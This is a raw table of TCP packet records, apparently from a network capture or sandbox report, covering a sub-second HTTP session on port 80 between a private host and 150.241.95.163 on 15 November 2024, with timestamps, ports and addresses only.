Nov 15, 2024 10:28:30.363233089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363244057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363255024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363255024 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363266945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363276958 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363296032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363389969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363400936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363446951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363511086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363521099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363532066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363569975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363575935 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363580942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363591909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363603115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363615036 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363637924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.363811016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363821030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.363857031 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364105940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364144087 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364161015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364171028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364182949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364204884 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364289045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364299059 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364310026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364320040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364330053 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364355087 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364451885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364464045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364474058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364492893 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364506960 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364573956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364586115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364598036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364620924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364864111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364875078 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364885092 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364905119 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364933968 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.364985943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.364996910 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365008116 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365020037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365026951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.365031004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365072966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.365396023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365407944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365417957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365434885 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.365459919 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.365674973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365777969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365788937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365811110 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.365902901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365912914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365940094 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.365946054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.365981102 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.405859947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.405917883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.405973911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.406234980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.406249046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.406302929 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.462578058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.462601900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.462611914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.462769985 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.463329077 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.463375092 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486299992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486326933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486336946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486356020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486366034 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486377954 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486398935 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486418009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486429930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486438990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486442089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486465931 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486496925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486507893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486519098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486535072 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486555099 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486573935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486584902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486596107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486613035 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486624002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486635923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486645937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486661911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486686945 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486814976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486824989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486830950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486850023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486860037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.486884117 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.486917973 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487030983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487040043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487072945 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487411022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487449884 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487670898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487680912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487696886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487711906 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487711906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487723112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487734079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487751007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487761974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487772942 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487781048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487786055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487792015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487799883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487802982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487813950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487826109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487826109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487852097 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487914085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487924099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487936020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.487948895 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.487967968 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.488085032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488095045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488123894 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.488300085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488310099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488322020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488332987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488358021 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.488384962 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.488957882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488970995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488981962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.488998890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.489006042 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.489012003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.489036083 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.489054918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.489065886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.489072084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.489198923 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.531296968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.531333923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.531344891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.531498909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.585736990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.585753918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.585767031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.585798979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610136032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610158920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610172987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610187054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610198975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610204935 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610209942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610225916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610236883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610244036 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610265970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610301971 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610335112 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610414028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610425949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610457897 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610469103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610482931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610512972 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610644102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610655069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610665083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610673904 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610685110 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610702991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610795021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610805035 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610816002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610827923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610840082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610850096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610852003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.610862017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.610884905 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611000061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611037016 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611099958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611171007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611181974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611243963 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611254930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611264944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611293077 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611304045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611310005 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611323118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611327887 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611366034 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611445904 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611500025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611536026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611717939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611768961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611780882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611803055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611876965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611887932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611897945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611908913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611922979 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611938953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611948967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.611948967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.611974955 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.612178087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612189054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612205029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612212896 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.612242937 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.612310886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612322092 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612333059 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612339020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612369061 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.612643957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612833023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.612874031 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.613023043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613034010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613044024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613054991 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613060951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.613085985 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.613116980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613127947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613137960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613148928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.613173008 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.613197088 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.613751888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.654400110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.654422998 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.654436111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.654479980 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.654511929 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.709057093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.709073067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.709085941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.709117889 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733355999 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733376026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733387947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733402014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733402014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733427048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733474016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733491898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733503103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733514071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733519077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733534098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733725071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733761072 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733820915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733833075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733843088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733855963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733865023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733869076 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733875990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733886003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733886957 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733903885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733916044 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733918905 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733927011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.733939886 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.733963966 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.734065056 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734076023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734086990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734224081 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.734316111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734327078 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734338045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734352112 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.734379053 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.734796047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734811068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734858990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.734985113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.734997988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735009909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735019922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735030890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735030890 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735042095 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735047102 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735054016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735076904 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735089064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735100985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735112906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735124111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735141993 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735176086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735287905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735299110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735322952 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735342026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735352993 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735375881 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735380888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735393047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735529900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735532999 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735541105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735559940 CET	80	49736	150.241.95.163	192.168.2.4
